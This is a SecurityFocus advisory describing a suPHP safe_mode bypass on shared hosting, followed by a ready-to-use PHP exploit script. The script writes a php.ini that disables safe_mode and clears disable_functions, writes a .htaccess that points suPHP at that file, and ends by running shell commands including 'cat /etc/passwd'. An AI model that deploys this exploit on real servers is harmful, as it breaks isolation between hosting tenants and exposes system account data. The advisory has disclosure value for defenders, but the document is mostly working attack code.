source: http://www.securityfocus.com/bid/33073/info

suPHP is prone to a 'safe_mode' restriction-bypass vulnerability.

Successful exploits may allow attackers to bypass arbitrary PHP configuration options, including the 'safe_mode' setting.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, with the 'safe_mode' restrictions assumed to isolate the users from each other.

echo "[+] Start...\n";

$bypfile=fopen('php.ini','w+');

$stuffile=fopen('.htaccess','w+');

if($bypfile and $stuffile!= NULL){

echo "[+] evil files created succes ! \n";

}

else{

echo "[-] access denial ! \n";

}

$byprullz1="safe_mode = OFF

";

$byprullz2="disable_functions = NONE";

$dj=fwrite($bypfile,$byprullz1);

$dj1=fwrite($bypfile,$byprullz2);

fclose($bypfile);

if($dj and $dj1!= NULL){

echo "[+] php.ini writed \n";

}

else{

echo "[-] 404 php.ini not found !\n";

}

$breakrullz="suPHP_ConfigPath /home/user/public_html/php.ini"; // replace this '/home/user/public_html' by ur path

$sf7=fwrite($stuffile,$breakrullz);

fclose($stuffile);

if($sf7!= NULL){

echo "[+] evil .htaccess writed\n";

echo "[+] exploited by success!\n\n\n";

echo "\t\t\t[+] discouvred by Mr.SaFa7\n";

echo "\t\t\t[+] home : v4-team.com\n";

echo "\t\t\t[+] Greetz : djekmani4ever ghost hacker Str0ke ShAfEKo4EvEr Mr.Mn7oS\n";

}

else{

echo "[-] evil .htaccess Not found!\n";

}

system("pwd;ls -lia;uname -a;cat /etc/passwd");

?>